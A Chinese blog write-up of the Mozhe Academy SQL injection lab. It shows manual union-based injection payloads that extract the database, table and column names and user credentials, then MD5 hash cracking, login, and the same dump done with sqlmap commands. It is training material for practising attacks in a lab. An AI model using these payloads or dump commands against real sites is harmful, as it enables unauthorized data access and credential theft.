0
点赞
收藏
分享

微信扫一扫

墨者学院sql手工测试记录

sunflower821 2024-01-09 阅读 7

免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

一:思路

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

流程

掌握SQL注入原理;

了解手工注入的方法;

了解MySQL的数据结构;

了解字符串的MD5加解密;

二:方法

方法一:手工注入

1. 开启靶场进入环境后发现一个登陆页面。(原以为此页面有注入点,各种尝试最终无疾而终,在查看源码时发现存在一个新的URL)


首页:

墨者学院sql手工测试记录_php

墨者学院sql手工测试记录_字段_02

首页源码:

墨者学院sql手工测试记录_php_03

新的URL连接:

墨者学院sql手工测试记录_Group_04

  • 通过题目我们可以看出靶场环境是Nginx+PHP+MySQL
  • 那我们现在启动、进入靶场
  • 进入靶场后我们可以看到是一个登录界面,但可以发现登录框下面有一个轮播提示新闻

找注入点

  1. 我们试着点进去看
  2. 我们点进去后,可以看到URL栏上存在一个?id=1,这里表示存在一个GET传参

墨者学院sql手工测试记录_字段_05

  1. 要知道,SQL注入得核心是用户输入得内容被当作代码去执行
  2. 那我们现在来尝试一下,这里传参的是否输入可以被当作代码执行
  3. 这里我输入 and 1=1 网页没变,输入 and 1=2网页变了,这里就说明存在SQL注入漏洞

墨者学院sql手工测试记录_字段_06

墨者学院sql手工测试记录_字段_07


  1. 竟然知道存在SQL注入,那么就开始下面内容
  2. 要知道数据库有多个字段,有的数据会显示,而有的数据不会显示,这是开发所决定的,而我们接下来要用到union联合查询(而使用联合查询的条件是两条查询语句的字段数必须相同),所以我们也要知道这个网页交互的所在数据库表里有多少个字段。
  3. 这里可以得出总结:我们要知道有多少个字段,然后显示位在哪个字段
  4. 那么按照正常的SQL注入来走,就是使用 order by先获得字段数是多少,然后再使用union联合查询来找出显示位

墨者学院sql手工测试记录_字段_08

  1. 这里我们就跳过重复的过程
  2. 到了 order by 5 页面报错,这里说明有4个字段


http://youIP/new_list.php?id=1  order by 4

墨者学院sql手工测试记录_字段_09

墨者学院sql手工测试记录_字段_10

好了,知道有四个字段后,我们要找出字段显示位


这里要说明一下,数据库的特性是如果两条语句都为真,先执行前面的语句再执行后面的语句


union 和order by不同的是,使用union联合查询不管前面得语句是否为真都会执行后面的语句


但是说过了,数据库特性是先执行前面的语句,所以如果前面的为真就会把显示位给占了显示前面的内容


所以我们要把前面执行的弄回and 1=2 ,让前面的内容位错,而把后面的内容显示出来


我们使用select 1,2,3,4来看一下显示位是哪个字段


http://youIP/new_list.php?id=-1  union select 1,2,3,4

墨者学院sql手工测试记录_Group_11

  • 这里我们就知道显示位了
  • 在显示位3上使用database() 函数得到当前的数据库名(这里不管是显示位2,还是3,只要是输出位都可以)

爆库名


http://youIP/new_list.php?id=-1  union select 1,2,database(),4

数据库名:mozhe_Discuz_StormGroup

爆表

http://youIP/new_list.php?id=-1 union select  1, 2,group_concat(table_name) ,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

表名:StormGroup_member,notice。(猜测第一个表是我们要的表)

墨者学院sql手工测试记录_php_12

爆列


http://youIP/new_list.php?id=-1 union select  1, 2,group_concat(column_name) ,4 from information_schema.columns where table_name='StormGroup_member'

字段:id,name,password,status

墨者学院sql手工测试记录_Group_13

爆字段

发现有两个账号,用户名都是mozhe,密码不一样。


http://youIP/new_list.php?id=-1 union select  1, 2,group_concat(concat_ws('~',name,password)) ,4 from mozhe_Discuz_StormGroup.StormGroup_member

字段:mozhe~ 356f589a7df439f6f744ff19bb8092c0,mozhe~ c8e100ea135c6a8346b3e0747eb78060

MD5解密

解密第一个密码

墨者学院sql手工测试记录_字段_14

墨者学院sql手工测试记录_php_15

发现这个账号密码别禁用了

墨者学院sql手工测试记录_Group_16

解密第二个密码

墨者学院sql手工测试记录_字段_17

登录

墨者学院sql手工测试记录_Group_18

这个可以登陆进去,并且我们发现下面存在的KEY。

墨者学院sql手工测试记录_字段_19

方法二:工具注入(sqlmap)


爆数据库名和当前用户

sqlmap  -u "http://youIP/new_list.php?id=1" -b --current-db  --current-user

墨者学院sql手工测试记录_字段_20

墨者学院sql手工测试记录_Group_21

爆表


sqlmap  -u "http://youIP/new_list.php?id=1"  -D mozhe_Discuz_StormGroup -tables

墨者学院sql手工测试记录_php_22

爆列


sqlmap  -u "http://youIP/new_list.php?id=1"  -D mozhe_Discuz_StormGroup -T StormGroup_member  -columns

墨者学院sql手工测试记录_Group_23

爆字段信息


sqlmap  -u "http://youIP/new_list.php?id=1"  -D mozhe_Discuz_StormGroup -T StormGroup_member  -C name,password --dump

墨者学院sql手工测试记录_Group_24

举报

相关推荐

0 条评论